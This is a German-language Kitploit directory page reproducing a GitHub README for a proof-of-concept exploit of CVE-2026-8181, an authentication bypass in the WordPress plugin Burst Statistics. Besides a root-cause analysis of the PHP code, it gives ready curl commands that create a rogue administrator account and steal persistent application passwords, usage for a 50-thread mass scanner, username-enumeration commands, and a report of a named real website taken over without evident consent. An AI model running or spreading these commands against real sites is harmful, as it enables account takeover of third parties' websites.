Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Nicht authentifizierte Authentifizierungsumgehung zur Admin-Kontoübernahme | Proof of Concept | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-8181
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsAuthentifizierungLernen & Bildung
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Nicht authentifizierte Authentifizierungsumgehung zur Admin-Kontoübernahme | Proof of Concept

Repository anzeigen
579vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-8181 — Umgehung der Authentifizierung von Burst Statistics zur Übernahme des Administratorkontos


📋 Schwachstelleninformationen

ElementDetail
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Betroffene Versionen3.4.0 – 3.4.1.1
Gepatchte Version3.4.2
CVSS-Score9.8 (Kritisch)
TypCWE-287: Improper Authentication
AngriffsvektorNetzwerk / Remote / Unauthentifiziert
Aktive Installationen~200,000+
EntdeckerPRISM, Wordfence Threat Intelligence
Veröffentlichungsdatum8. Mai 2026

🎯 Zusammenfassung

Eine kritische Authentifizierungsumgehung im WordPress-Plugin Burst Statistics in den Versionen 3.4.0 bis 3.4.1.1 ermöglicht es Angreifern ohne Authentifizierung, vollen Administratorzugriff auf WordPress zu erhalten, indem sie lediglich den Admin-Benutzernamen kennen. Die Folge ist eine vollständige Übernahme des Admin-Kontos, einschließlich der Erstellung neuer Konten, der Änderung von Inhalten und der Installation schädlicher Plugins.


🔬 Technische Analyse

Grundursache

Die Schwachstelle befindet sich in der Methode is_mainwp_authenticated() in der Datei includes/Frontend/class-mainwp-proxy.php:

// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Hauptfehler: wp_authenticate_application_password(null, $username, $password) gibt null zurück (kein WP_Error), wenn Application Passwords nicht verfügbar sind, was auftritt bei:

  • Websites mit HTTP (nicht HTTPS), bei denen wp_is_application_passwords_available() false zurückgibt
  • Websites, bei denen is_ssl() false zurückgibt

Da is_wp_error(null) = false ist, fährt der Code fort zu get_user_by('login', $username), der nur basierend auf dem Benutzernamen authentifiziert, ohne jegliche Passwortvalidierung.

Frühe Ausführung (Early Execution)

Die Methode has_admin_access() wird beim Hook plugins_loaded (Priorität 9) in class-burst.php Zeile 118 aufgerufen:

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Dieser Hook wird VOR der REST-API-Routenverarbeitung ausgeführt, sodass wp_set_current_user() Admin-Rechte für DIE GESAMTE ANFRAGE gewährt – nicht nur für den Burst-Endpunkt.

Angriffsablauf

Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Proof of Concept

Voraussetzungen

  • Das Ziel läuft über HTTP (nicht HTTPS, oder SSL wird nicht korrekt erkannt)
  • Das Plugin Burst Statistics in Version 3.4.0 – 3.4.1.1 ist installiert und aktiv
  • Der Admin-Benutzername ist bekannt (kann enumeriert werden)

Installation

pip3 install requests

Verwendung — Einzelziel

# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Verwendung — Mehrere Ziele (Massenscanner)

python3 poc_CVE-2026-8181.py

Interaktiver Modus:

  1. Eingabedatei mit Zielliste (.txt, eine Domain pro Zeile)
  2. Anzahl der Threads festlegen (Standard: 50)
  3. Anmeldeinformationen für neues Konto festlegen
  4. Scan ausführen

Format targets.txt:

target1.com
target2.com
192.168.1.100
subdomain.example.org

Minimaler PoC (curl)

# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Enumeration des Admin-Benutzernamens

# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validierung der Ergebnisse

Die Tests wurden auf WordPress 6.9 mit Burst Statistics 3.4.1.1 (localhost) durchgeführt:

TestErgebnisNachweis
Zugriff auf /wp/v2/users/me ohne AuthentifizierungFEHLGESCHLAGENrest_not_logged_in
Zugriff mit Bypass-HeadernERFOLGREICHAdmin-Profil + E-Mail + Rollen
Neues Administrator-Konto erstellenERFOLGREICHUser ID 2, role: administrator
WordPress-Einstellungen lesenERFOLGREICHSite title, admin email, URL
Application Password erhaltenERFOLGREICHBase64 token admin:password
Liste installierter PluginsERFOLGREICHVollständige Liste mit Versionen

Validierung eines Live-Ziels

ZielErgebnis
ausdermitte-binz.deERFOLGREICH PWNED — Burst 3.4.1.1, Bypass über binzwpadmin, Konto xenon1337 erstellt (ID:30)

🔧 Analyse des Patches (v3.4.2)

Der Fix in Version 3.4.2 behebt mehrere Probleme:

Tool herunterladen